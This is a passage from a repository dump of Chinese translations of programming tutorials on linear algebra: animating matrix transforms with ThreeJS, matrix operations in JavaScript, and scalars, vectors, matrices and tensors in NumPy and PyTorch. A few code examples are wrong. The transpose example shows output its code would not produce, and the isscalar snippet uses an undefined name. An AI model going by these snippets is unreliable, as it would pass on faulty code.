fromMatrix,\n      toMatrix,\n      PERIOD\n    )\n    this.frameId = requestAnimationFrame(this.animate)\n  }\n  \n  componentWillUnmount() {\n    cancelAnimationFrame(this.frameId)\n    this.view.removeChild(this.renderer.domElement)\n  }\n  // ...\n}\n```\n\n不过此时我们还没有定义 **animate** 函数，因此什么也不会渲染。首先，我们更新立方体及其边缘的转换矩阵，并且更新立方体的颜色，然后进行渲染并且调用 `window.requestAnimationFrame`。\n\n**componentWillReceiveProps** 方法将接收当前组件的大小，当它检测到组件尺寸发生了变化时，会更新状态，改变 renderer 的尺寸，并调整 camera 的方位。\n\n```JavaScript\nclass ThreeScene extends React.Component {\n  // ...\n  animate = () => {\n    const transformation = this.getAnimatedTransformation()\n    const matrix4 = toMatrix4(transformation)\n    this.cube.material.color.set(this.getAnimatedColor())\n    this.objects.forEach(obj => obj.matrix.set(...matrix4.toArray()))\n    this.renderer.render(this.scene, this.camera)\n    this.frameId = window.requestAnimationFrame(this.animate)\n  }\n\n  componentWillReceiveProps({ size: { width, height } }) {\n    if (this.state.width !== width || this.state.height !== height) {\n      this.setState({ width, height })\n      this.renderer.setSize(width, height)\n      this.camera.aspect = width / height\n      this.camera.updateProjectionMatrix()\n    }\n  }\n}\n```\n\n## 动画\n\n为了将颜色变化以及矩阵变换做成动画，需要写个函数来返回动画函数。在写这块函数前，我们先要完成以下两种转换器：将我们库的矩阵转换为 **ThreeJS** 格式矩阵的函数，以及参考 StackOverflow 上代码的将 RGB 转换为 hex 的函数：\n\n```JavaScript\nimport * as THREE from 'three'\nimport { Matrix } from 'linear-algebra/matrix'\n\nexport const toMatrix4 = matrix => {\n  const matrix4 = new THREE.Matrix4()\n  matrix4.set(...matrix.components())\n  return matrix4\n}\n\nexport const fromMatrix4 = matrix4 => {\n  const components = matrix4.toArray()\n  const rows = new Array(4)\n    .fill(0)\n    .map((_, i) => components.slice(i * 4, (i + 1) * 4))\n  return new Matrix(...rows)\n}\n\n```\n\n```JavaScript\nimport * as THREE from 'three'\nimport { Matrix } from 'linear-algebra/matrix'\n\nexport const toMatrix4 = matrix => {\n  const matrix4 = new THREE.Matrix4()\n  matrix4.set(...matrix.components())\n  return matrix4\n}\n\nexport const fromMatrix4 = matrix4 => {\n  const components = matrix4.toArray()\n  const rows = new Array(4)\n    .fill(0)\n    .map((_, i) => components.slice(i * 4, (i + 1) * 4))\n  return new Matrix(...rows)\n}\n\n```\n\n### 颜色\n\n首先，需要计算每种原色（RGB）变化的幅度。第一次调用 **getGetAnimatedColor** 时会返回新的色彩与时间戳的集合；并在后续被调用时，通过颜色变化的距离以及时间的耗费，可以计算出当前时刻新的 **RGB** 颜色：\n\n```JavaScript\nimport { hexToRgb, rgbToHex } from './generic'\n\nexport const getGetAnimatedColor = (fromColor, toColor, period) => {\n  const fromRgb = hexToRgb(fromColor)\n  const toRgb = hexToRgb(toColor)\n  const distances = fromRgb.map((fromPart, index) => {\n    const toPart = toRgb[index]\n    return fromPart <= toPart ? toPart - fromPart : 255 - fromPart + toPart\n  })\n  let start\n  return () => {\n    if (!start) {\n      start = Date.now()\n    }\n    const now = Date.now()\n    const timePassed = now - start\n    if (timePassed > period) return toColor\n\n    const animatedDistance = timePassed / period\n    const rgb = fromRgb.map((fromPart, index) => {\n      const distance = distances[index]\n      const step = distance * animatedDistance\n      return Math.round((fromPart + step) % 255)\n    })\n    return rgbToHex(...rgb)\n  }\n}\n```\n\n### 线性变换\n\n为了给线性变换做出动画效果，同样要进行上节的操作。我们首先找到矩阵变换前后的区别，然后在动画函数中，根据第一次调用 **getGetAnimatedTransformation** 时的状态，根据时间来更新各个组件的状态：\n\n```JavaScript\nexport const getGetAnimatedTransformation = (fromMatrix, toMatrix, period) => {\n  const distances = toMatrix.subtract(fromMatrix)\n  let start\n  return () => {\n    if (!start) {\n      start = Date.now()\n    }\n    const now = Date.now()\n    const timePassed = now - start\n    if (timePassed > period) return toMatrix\n\n    const animatedDistance = timePassed / period\n    const newMatrix = fromMatrix.map((fromComponent, i, j) => {\n      const distance = distances.rows[i][j]\n      const step = distance * animatedDistance\n      return fromComponent + step\n    })\n    return newMatrix\n  }\n}\n```\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/linear-algebra-basic-matrix-operations.md",
    "content": "> * 原文地址：[Linear Algebra: Basic Matrix Operations](https://medium.com/swlh/linear-algebra-basic-matrix-operations-13a019633c15)\n> * 原文作者：[Rodion Chachura](https://medium.com/@geekrodion)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-basic-matrix-operations.md](https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-basic-matrix-operations.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[JackEggie](https://github.com/JackEggie), [shixi-li](https://github.com/shixi-li)\n\n# 线性代数：矩阵基本运算\n\n本文是“[JavaScript 线性代数](https://medium.com/@geekrodion/linear-algebra-with-javascript-46c289178c0)”教程的一部分。\n\n![[源码见 GitHub 仓库](https://github.com/RodionChachura/linear-algebra)](https://cdn-images-1.medium.com/max/2000/1*4yaaTk2eqnmn19nyorh-HA.png)\n\n在本文中，我们将介绍矩阵的大部分基本运算，依次是矩阵的加减法、矩阵的标量乘法、矩阵与矩阵的乘法、求转置矩阵，以及深入了解矩阵的行列式运算。本文将不会涉及逆矩阵、矩阵的秩等概念，将来再探讨它们。\n\n## 矩阵的加减法\n\n矩阵的**加法**与**减法**运算将接收两个矩阵作为输入，并输出一个新的矩阵。矩阵的加法和减法都是在分量级别上进行的，因此要进行加减的矩阵必须有着相同的维数。\n\n为了避免重复编写加减法的代码，我们先创建一个可以接收运算函数的方法，这个方法将对两个矩阵的分量分别执行传入的某种运算。然后在加法、减法或者其它运算中直接调用它就行了：\n\n```JavaScript\nclass Matrix {\n  // ...\n  componentWiseOperation(func, { rows }) {\n    const newRows = rows.map((row, i) =>\n      row.map((element, j) => func(this.rows[i][j], element))\n    )\n    return new Matrix(...newRows)\n  }\n  add(other) {\n    return this.componentWiseOperation((a, b) => a + b, other)\n  }\n  subtract(other) {\n    return this.componentWiseOperation((a, b) => a - b, other)\n  }\n}\n\nconst one = new Matrix(\n  [1, 2],\n  [3, 4]\n)\nconst other = new Matrix(\n  [5, 6],\n  [7, 8]\n)\n\nconsole.log(one.add(other))\n// Matrix { rows: [ [ 6, 8 ], [ 10, 12 ] ] }\nconsole.log(other.subtract(one))\n// Matrix { rows: [ [ 4, 4 ], [ 4, 4 ] ] }\n```\n\n## 矩阵的标量乘法\n\n矩阵的标量乘法与向量的缩放类似，就是将矩阵中的每个元素都乘上标量：\n\n```JavaScript\nclass Matrix {\n  // ...\n  scaleBy(number) {\n    const newRows = this.rows.map(row =>\n      row.map(element => element * number)\n    )\n    return new Matrix(...newRows)\n  }\n}\n\nconst matrix = new Matrix(\n  [2, 3],\n  [4, 5]\n)\nconsole.log(matrix.scaleBy(2))\n// Matrix { rows: [ [ 4, 6 ], [ 8, 10 ] ] }\n```\n\n## 矩阵乘法\n\n当 **A**、**B** 两个矩阵的维数是**兼容**的时候，就能对这两个矩阵进行矩阵乘法。所谓维数兼容，指的是 **A** 的列数与 **B** 的行数相同。矩阵的乘积 **AB** 是通过对 **A** 的每一行与矩阵 **B** 的每一列计算点积得到：\n\n![矩阵乘法图解](https://cdn-images-1.medium.com/max/2544/0*je9iPoT0Mv1OeFzf)\n\n```JavaScript\nclass Matrix {\n  // ...\n  multiply(other) {\n    if (this.rows[0].length !== other.rows.length) {\n      throw new Error('The number of columns of this matrix is not equal to the number of rows of the given matrix.')\n    }\n    const columns = other.columns()\n    const newRows = this.rows.map(row => \n      columns.map(column => sum(row.map((element, i) => element * column[i])))\n    )\n\n    return new Matrix(...newRows)\n  }\n}\n\nconst one = new Matrix(\n  [3, -4],\n  [0, -3],\n  [6, -2],\n  [-1, 1]\n)\nconst other = new Matrix(\n  [3,  2, -4],\n  [4, -3,  5]\n)\nconsole.log(one.multiply(other))\n// Matrix {\n//   rows:\n//    [ [ -7, 18, -32 ],\n//      [ -12, 9, -15 ],\n//      [ 10, 18, -34 ],\n//      [ 1, -5, 9 ] ]}\n```\n\n我们可以把矩阵乘法 **AB** 视为先后应用 **A** 和 **B** 两个线性变换矩阵。为了更好地理解这种概念，可以看一看我们的 [linear-algebra-demo](https://rodionchachura.github.io/linear-algebra/)。\n\n下图中黄色的部分就是对红色方块应用线性变换 **C** 的结果。而线性变换 **C** 就是矩阵乘法 **AB** 的结果，其中 **A** 是做相对于 y 轴进行反射的变换矩阵，**B** 是做剪切变换的矩阵。\n\n![先旋转再剪切变换](https://cdn-images-1.medium.com/max/2110/1*9z2FfKuyWoDW7N4DVNUiIg.png)\n\n如果在矩阵乘法中调换 **A** 和 **B** 的顺序，我们会得到一个不同的结果，因为相当于先应用了 **B** 的剪切变换，再应用 **A** 的反射变换：\n\n![先剪切变换再旋转](https://cdn-images-1.medium.com/max/2106/1*S7XNcZbrzPq0OJbVBEs6QQ.png)\n\n## 转置\n\n**转置**矩阵 $A^T$ 由公式 $a^T_{ij}=a_{ji}$ 定义。换句话说，我们通过关于矩阵的对角线对其进行翻转来得到转置矩阵。需要注意的是，矩阵对角线上的元素不受转置运算影响。\n\n```JavaScript\nclass Matrix {\n  // ...\n  transpose() {\n    return new Matrix(...this.columns())\n  }\n}\n\nconst matrix = new Matrix(\n  [0,  1,  2],\n  [3,  4,  5],\n  [6,  7,  8],\n  [9, 10, 11]\n)\nconsole.log(matrix.transpose())\n// Matrix {\n//   rows: [\n//     [ 0, 3, 6, 9 ],\n//     [ 1, 4, 7, 10 ],\n//     [ 2, 5, 8, 11 ]\n//   ]\n// }\n```\n\n## 行列式运算\n\n矩阵的**行列式**运算将计算矩阵中的所有系数，最后输出一个数字。准确地说，行列式可以描述一个由矩阵行构成的向量的相对几何指标（比如在欧式空间中的有向面积、体积等空间概念）。更准确地说，矩阵 **A** 的行列式相当于告诉你由 **A** 的行定义的方块的体积。$2\\times 2$ 矩阵的行列式运算如下所示：\n\n![det(2×2 matrix)](https://cdn-images-1.medium.com/max/2000/1*XF0G3uzHulUun-Ic65p2fw.jpeg)\n\n$3\\times 3$ 矩阵的行列式运算如下所示：\n\n![det(3×3 matrix)](https://cdn-images-1.medium.com/max/2544/0*Eizii7WkVDVC7v9l)\n\n我们的方法可以计算任意大小矩阵（只要其行列的数量相同）的行列式：\n\n```JavaScript\nclass Matrix {\n  // ...\n  determinant() {\n    if (this.rows.length !== this.rows[0].length) {\n      throw new Error('Only matrices with the same number of rows and columns are supported.')\n    }\n    if (this.rows.length === 2) {\n      return this.rows[0][0] * this.rows[1][1] - this.rows[0][1] * this.rows[1][0]\n    }\n\n    const parts = this.rows[0].map((coef, index) => {\n      const matrixRows = this.rows.slice(1).map(row => [ ...row.slice(0, index), ...row.slice(index + 1)])\n      const matrix = new Matrix(...matrixRows)\n      const result = coef * matrix.determinant()\n      return index % 2 === 0 ? result : -result\n    })\n\n    return sum(parts)\n  }\n}\n\nconst matrix2 = new Matrix(\n  [ 0, 3],\n  [-2, 1]\n)\nconsole.log(matrix2.determinant())\n// 6\nconst matrix3 = new Matrix(\n  [2, -3,  1],\n  [2,  0, -1],\n  [1,  4,  5]\n)\nconsole.log(matrix3.determinant())\n// 49\nconst matrix4 = new Matrix(\n  [3, 0, 2, -1],\n  [1, 2, 0, -2],\n  [4, 0, 6, -3],\n  [5, 0, 2,  0]\n)\nconsole.log(matrix4.determinant())\n// 20\n```\n\n行列式可以告诉我们变换时对象被拉伸的程度。因此我们可以将其视为线性变换改变面积的因子。为了更好地理解这个概念，请参考 [linear-algebra-demo](https://rodionchachura.github.io/linear-algebra/)：\n\n在下图中，我们可以看到对红色的 **1×1** 方形进行线性变换后得到了一个 **3×2** 的长方形，面积从 **1** 变为了 **6**，这个数字与线性变换矩阵的行列式值相同。\n\n![det(scale transformation)](https://cdn-images-1.medium.com/max/2480/1*rm55kfQk00sAHRHkXPJAHg.png)\n\n如果我们应用一个剪切变换，可以看到方形会变成一个面积不变的平行四边形。因此，剪切变换矩阵的行列式值等于 1：\n\n![det(shear transformation)](https://cdn-images-1.medium.com/max/2452/1*NXslmXLlNlD2Fggs-HGmzg.png)\n\n如果行列式的值是**负数**，则说明应用线性变换后，空间被反转了。比如在下图中，我们可以看到变换前 $\\hat{\\jmath}$ 在 $\\hat{\\imath}$ 的左边，而变换后 $\\hat{\\jmath}$ 在 $\\hat{\\imath}$ 的右边。\n\n![negative determinant](https://cdn-images-1.medium.com/max/2384/1*SENNf6sb4_88cofTLlGEeg.png)\n\n如果变换的行列式为 **0**，则表示它会将所有空间都压缩到一条线或一个点上。也就是说，计算一个给定矩阵的行列式是否为 0，可以判断这个矩阵对应的线性变换是否会将对象压缩到更小的维度去。\n\n![2D 中的 0 行列式](https://cdn-images-1.medium.com/max/2380/1*xst460qMsFeqqICnRy2SlQ.png)\n\n在三维空间里，行列式可以告诉你体积缩放了多少：\n\n![det(scale transformation) in 3D](https://cdn-images-1.medium.com/max/2300/1*y7Y_aqlGo-J15hwwl7NgfQ.gif)\n\n变换行列式等于 0，意味着原来的空间会被完全压缩成体积为 0 的空间。如前文所说，如果在 2 维空间中变换的行列式为 0，则意味着变换的结果将空间压缩成了一条线或一个点；而在 3 维空间中变换的行列式为 0 意味着一个物体会被压扁成一个平面，如下图所示：\n\n![3D 中的 0 行列式](https://cdn-images-1.medium.com/max/2300/1*K9o2OrhtfqWO2NNo4hK5NA.gif)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/linear-algebra-for-deep-learning.md",
    "content": "> * 原文地址：[Linear Algebra for Deep Learning](https://towardsdatascience.com/linear-algebra-for-deep-learning-506c19c0d6fa)\n> * 原文作者：[Vihar Kurama](https://towardsdatascience.com/@vihar.kurama?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-for-deep-learning.md](https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-for-deep-learning.md)\n> * 译者：[maoqyhz](https://github.com/maoqyhz/)\n> * 校对者：[kezhenxu94](https://github.com/kezhenxu94/)、[luochen1992](https://github.com/luochen1992)\n\n# 深度学习中所需的线性代数知识\n\n每个深度学习项目背后的数学知识。\n\n**深度学习**是机器学习的一个子领域，涉及一些模仿人脑结构和功能的人工神经网络算法。\n\n**线性代数**是一种连续的而非离散的数学形式，许多计算机科学家对它几乎没有经验。对于理解和使用许多机器学习算法，特别是深度学习算法，理解线性代数是非常重要的。\n\n![](https://cdn-images-1.medium.com/max/1000/1*oOS8U37MHmJ7Vl8nqnepiA.jpeg)\n\n### 为什么是数学？\n\n线性代数，概率论和微积分是组成机器学习的三种“语言”。学习这些数学知识将有助于深入理解底层算法机制，并且开发新的算法。\n\n当我们深入到底层时，深度学习背后的一切都是数学。因此在学习深度学习和编程之前，理解基本的线性代数知识是至关重要的。\n\n![](https://cdn-images-1.medium.com/max/800/1*pUr-9ctuGamgjSwoW_KU-A.png)\n\n[来源](https://hadrienj.github.io/posts/Deep-Learning-Book-Series-2.1-Scalars-Vectors-Matrices-and-Tensors/)\n\n深度学习背后的核心数据结构是标量，矢量，矩阵和张量。让我们使用这些数据结构，通过编程的方式来解决所有基本的线性代数问题。\n\n### 标量\n\n标量是**单个数字**，也可以视为 0 阶张量。符号 x∈ℝ 表示 x 是一个标量，属于一组实数值 ℝ。\n\n以下是深度学习中不同数集的表示。ℕ 表示正整数集合 (1,2,3,…)。ℤ 表示结合了正值，负值和零值的整数集合。ℚ 表示有理数集合。\n\n在 Python 中有一些内置的标量类型，**int**、**float**、**complex**、**bytes** and **Unicode**。在 Numpy（一个 Python 库）中，有 24 种新的基本数据类型来描述不同类型的标量。有关数据类型的信息，请参阅 [文档](https://docs.scipy.org/doc/numpy-1.14.0/reference/arrays.scalars.html)。\n\n**在 Python 中定义标量和相关操作：**\n\n下面的代码段解释了一些运算运算符在标量中的应用。\n\n```\n# 内置标量\na = 5\nb = 7.5\nprint(type(a))\nprint(type(b))\nprint(a + b)\nprint(a - b)\nprint(a * b)\nprint(a / b)\n```\n\n```\n<class 'int'>\n<class 'float'>\n12.5\n-2.5\n37.5\n0.6666666666666666\n```\n\n下面的代码段可以检查给出的变量是否为标量。\n\n```\nimport numpy as np\n\n# 判断是否为标量的函数\ndef isscalar(num):\n    if isinstance(num, generic):\n        return True\n    else:\n        return False\n\nprint(np.isscalar(3.1))\nprint(np.isscalar([3.1]))\nprint(np.isscalar(False))\n```\n\n```\nTrue\nFalse\nTrue\n```\n\n### 向量\n\n向量是单数的有序数组，是一阶张量的例子。向量是被称为矢量空间的对象的片段。向量空间可以被认为是特定长度（或维度）的所有可能向量的整个集合。用 ℝ^3 表示的三维实值向量空间，通常用于从数学角度表示我们对三维空间的现实世界概念。\n\n![](https://cdn-images-1.medium.com/max/800/1*fHS5crNOYBxDGASNPSp5lw.png)\n\n为了明确地定位到矢量的某个分量，矢量的第 i 个标量元素被写为 x[i]。\n\n在深度学习中，向量通常代表特征向量，其原始组成部分定义了具体特征的相关性。这些元素可以包括二维图像中一组像素的强度的相关重要性或者各种金融工具的历史价格值。\n\n**在 Python 中定义向量和相关操作：**\n\n```\nimport numpy as np\n\n# 定义向量\n\nx = [1, 2, 3]\ny = [4, 5, 6]\n\nprint(type(x))\n\n# 这样做不会得到向量和\nprint(x + y)\n\n# 使用 Numpy 进行向量相加\n\nz = np.add(x, y)\nprint(z)\nprint(type(z))\n\n# 向量叉乘\nmul = np.cross(x, y)\nprint(mul)\n```\n\n```\n<class 'list'>\n[1, 2, 3, 4, 5, 6]\n[5 7 9]\n<class 'numpy.ndarray'>\n[-3  6 -3]\n```\n\n### 矩阵\n\n矩阵是由数字组成的矩形阵列，是 2 阶张量的一个例子。如果 m 和 n 是正整数，即 m，n∈ℕ，则 m×n 矩阵包含 m*n 个数字，m 行 n 列。\n\n完整的 m×n 矩阵可写为：\n\n![](https://cdn-images-1.medium.com/max/800/1*x0q53AIuUG4i6U7BMjjUzg.png)\n\n将全矩阵显示简写为以下表达式通常很有用：\n\n![](https://cdn-images-1.medium.com/max/800/1*RGmyzL1tmF4so67kxYUF1g.png)\n\n在 Python 中，我们使用 Numpy 库来帮助我们创建 N 维数组。数组基本上可看做矩阵，我们使用矩阵方法，并通过列表来构造一个矩阵。\n\n$python\n\n```\n>>> import numpy as np\n>>> x = np.matrix([[1,2],[2,3]])\n>>> x\nmatrix([[1, 2],\n        [2, 3]])\n\n>>> a = x.mean(0)\n>>> a\nmatrix([[1.5, 2.5]])\n>>> # 对矩阵求均值。（其中 axis 不设置值，对 m*n 个数求均值，返回一个实数；axis = 0：压缩行，对各列求均值，返回 1* n 矩阵；axis =1 ：压缩列，对各行求均值，返回 m *1 矩阵）。\n>>> z = x.mean(1)\n>>> z\nmatrix([[1.5],\n        [2.5]])\n>>> z.shape\n(2, 1)\n>>> y = x - z\nmatrix([[-0.5,  0.5],\n        [-0.5,  0.5]])\n>>> print(type(z))\n<class 'numpy.matrixlib.defmatrix.matrix'>\n```\n\n**在 Python 中定义矩阵和相关操作：**\n\n#### 矩阵加法\n\n矩阵可以与标量、向量和其他矩阵进行加法运算。每个操作都有精确的定义。这些技术经常用于机器学习和深度学习，所以值得花时间去熟悉它们。\n\n```\n# 矩阵加法\n\nimport numpy as np\n\nx = np.matrix([[1, 2], [4, 3]])\n\nsum = x.sum()\nprint(sum)\n# Output: 10\n```\n\n#### 矩阵与矩阵相加\n\nC = A + B (**A 与 B 的维度需要相同 **)\n\n`shape` 方法返回矩阵的维度，`add` 方法接受两个矩阵参数并返回这两个矩阵的和。如果两个矩阵的维度不一致 `add` 方法将会抛出一个异常，说无法将其相加。\n\n```\n# 矩阵与矩阵相加\n\nimport numpy as np\n\nx = np.matrix([[1, 2], [4, 3]])\ny = np.matrix([[3, 4], [3, 10]])\n\nprint(x.shape)\n# (2, 2)\nprint(y.shape)\n# (2, 2)\n\nm_sum = np.add(x, y)\nprint(m_sum)\nprint(m_sum.shape)\n\"\"\"\nOutput :\n[[4  6]\n [7 13]]\n(2, 2)\n\"\"\"\n```\n\n#### 矩阵与标量相加\n\n将给定的标量添加到给定矩阵中的所有元素。\n\n```\n# 矩阵与标量相加\n\nimport numpy as np\n\nx = np.matrix([[1, 2], [4, 3]])\ns_sum = x + 1\nprint(s_sum)\n\"\"\"\nOutput:\n[[2 3]\n [5 4]]\n\"\"\"\n```\n\n#### 矩阵与标量的乘法\n\n将给定的标量乘以给定矩阵中的所有元素。\n\n```\n# 矩阵与标量的乘法\n\nimport numpy as np\n\nx = np.matrix([[1, 2], [4, 3]])\ns_mul = x * 3\nprint(s_mul)\n\"\"\"\n[[3  6]\n [12  9]]\n\"\"\"\n```\n\n#### 矩阵乘法\n\n维度为（m x n）的矩阵 A 和维度为（n x p）的矩阵 B 相乘，最终得到维度为（m x p）的矩阵 C。\n\n![](https://cdn-images-1.medium.com/max/800/1*96qrPHcvXBVM01I1lUKS8g.png)\n\n[来源](https://hadrienj.github.io/posts/Deep-Learning-Book-Series-2.2-Multiplying-Matrices-and-Vectors/)\n\n```\n# 矩阵乘法\n\nimport numpy as np\n\na = [[1, 0], [0, 1]]\nb = [1, 2]\nnp.matmul(a, b)\n# Output: array([1, 2])\n\ncomplex_mul = np.matmul([2j, 3j], [2j, 3j])\nprint(complex_mul)\n# Output: (-13+0j)\n```\n\n#### 矩阵转置\n\n通过转置，您可以将行向量转换为列向量，反之亦然：\n\nA=[a_ij_]mxn\n\nAT=[a_ji_]n×m\n\n![](https://cdn-images-1.medium.com/max/800/1*VUByXk3gxhNuQVSTmcS2Gg.png)\n\n```\n\n# 矩阵转置\n\nimport numpy as np\n\na = np.array([[1, 2], [3, 4]])\nprint(a)\n\"\"\"\n[[1 2]\n [3 4]]\n\"\"\"\na.transpose()\nprint(a)\n\"\"\"\narray([[1, 3],\n       [2, 4]])\n\"\"\"\n```\n\n### 张量\n\n更加泛化的实体 —— 张量，封装了标量、矢量和矩阵。在物理科学和机器学习中，有时需要使用超过两个顺序的张量。\n\n![](https://cdn-images-1.medium.com/max/800/1*gyd_WcgWOPYncAsR6Z0IKQ.png)\n\n[来源](https://refactored.ai/track/python-for-machine-learning/courses/linear-algebra.ipynb)\n\n我们使用像 TensorFlow 或 PyTorch 这样的 Python 库来声明张量，而不是使用嵌套矩阵来表示。\n\n**在 PyTorch 中定义一个简单的张量：**\n\n```\n\nimport torch\n\na = torch.Tensor([26])\n\nprint(type(a))\n# <class 'torch.FloatTensor'>\n\nprint(a.shape)\n# torch.Size([1])\n\n# 创建一个 5*3 的随机 torch 变量。\nt = torch.Tensor(5, 3)\nprint(t)\n\"\"\"\n 0.0000e+00  0.0000e+00  0.0000e+00\n 0.0000e+00  7.0065e-45  1.1614e-41\n 0.0000e+00  2.2369e+08  0.0000e+00\n 0.0000e+00  0.0000e+00  0.0000e+00\n        nan         nan -1.4469e+35\n[torch.FloatTensor of size 5x3]\n\"\"\"\nprint(t.shape)\n# torch.Size([5, 3])\n```\n\n**Python 中张量的运算操作：**\n\n```\nimport torch\n\n# 创建张量\n\np = torch.Tensor(4,4)\nq = torch.Tensor(4,4)\nones = torch.ones(4,4)\n\nprint(p, q, ones)\n\"\"\"\nOutput:\n 0.0000e+00  0.0000e+00  0.0000e+00  0.0000e+00\n 1.6009e-19  4.4721e+21  6.2625e+22  4.7428e+30\n 3.1921e-09  8.0221e+17  5.1019e-08  8.1121e+17\n 8.1631e-07  8.2022e+17  1.1703e-19  1.5637e-01\n[torch.FloatTensor of size 4x4]\n\n 0.0000e+00  0.0000e+00  0.0000e+00  0.0000e+00\n 1.8217e-44  1.1614e-41  0.0000e+00  2.2369e+08\n 0.0000e+00  0.0000e+00  2.0376e-40  2.0376e-40\n        nan         nan -5.3105e+37         nan\n[torch.FloatTensor of size 4x4]\n\n 1  1  1  1\n 1  1  1  1\n 1  1  1  1\n 1  1  1  1\n[torch.FloatTensor of size 4x4]\n\"\"\"\n\nprint(\"Addition:{}\".format(p + q))\nprint(\"Subtraction:{}\".format(p - ones))\nprint(\"Multiplication:{}\".format(p * ones))\nprint(\"Division:{}\".format(q / ones))\n\n\"\"\"\nAddition:\n 0.0000e+00  0.0000e+00  0.0000e+00  0.0000e+00\n 1.6009e-19  4.4721e+21  6.2625e+22  4.7428e+30\n 3.1921e-09  8.0221e+17  5.1019e-08  8.1121e+17\n        nan         nan -5.3105e+37         nan\n[torch.FloatTensor of size 4x4]\nSubtraction:\n-1.0000e+00 -1.0000e+00 -1.0000e+00 -1.0000e+00\n-1.0000e+00  4.4721e+21  6.2625e+22  4.7428e+30\n-1.0000e+00  8.0221e+17 -1.0000e+00  8.1121e+17\n-1.0000e+00  8.2022e+17 -1.0000e+00 -8.4363e-01\n[torch.FloatTensor of size 4x4]\nMultiplication:\n 0.0000e+00  0.0000e+00  0.0000e+00  0.0000e+00\n 1.6009e-19  4.4721e+21  6.2625e+22  4.7428e+30\n 3.1921e-09  8.0221e+17  5.1019e-08  8.1121e+17\n 8.1631e-07  8.2022e+17  1.1703e-19  1.5637e-01\n[torch.FloatTensor of size 4x4]\nDivision:\n 0.0000e+00  0.0000e+00  0.0000e+00  0.0000e+00\n 1.8217e-44  1.1614e-41  0.0000e+00  2.2369e+08\n 0.0000e+00  0.0000e+00  2.0376e-40  2.0376e-40\n        nan         nan -5.3105e+37         nan\n[torch.FloatTensor of size 4x4]\n\"\"\"\n```\n\n有关张量和 PyTorch 的更多文档[点击这里](https://pytorch.org/tutorials/beginner/deep_learning_60min_blitz.html)。\n\n* * *\n\n**重要的链接**\n\n在 Python 中入门深度学习：\n\n* [**Deep Learning with Python**: The human brain imitation.](https://towardsdatascience.com/deep-learning-with-python-703e26853820)\n* [**Introduction To Machine Learning**: Machine Learning is an idea to learn from examples and experience, without being explicitly programmed. Instead of…](https://towardsdatascience.com/introduction-to-machine-learning-db7c668822c4)\n\n### 结束语\n\n感谢阅读。如果你发现这个故事很有用，请点击下面的 👏 来传播爱心。\n\n特别鸣谢 [Samhita Alla](https://medium.com/@allasamhita) 对本文的贡献。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 ** 本文永久链接 ** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner# 前端)、[后端](https://github.com/xitu/gold-miner# 后端)、[区块链](https://github.com/xitu/gold-miner# 区块链)、[产品](https://github.com/xitu/gold-miner# 产品)、[设计](https://github.com/xitu/gold-miner# 设计)、[人工智能](https://github.com/xitu/gold-miner# 人工智能) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/linear-algebra-linear-transformation-matrix.md",
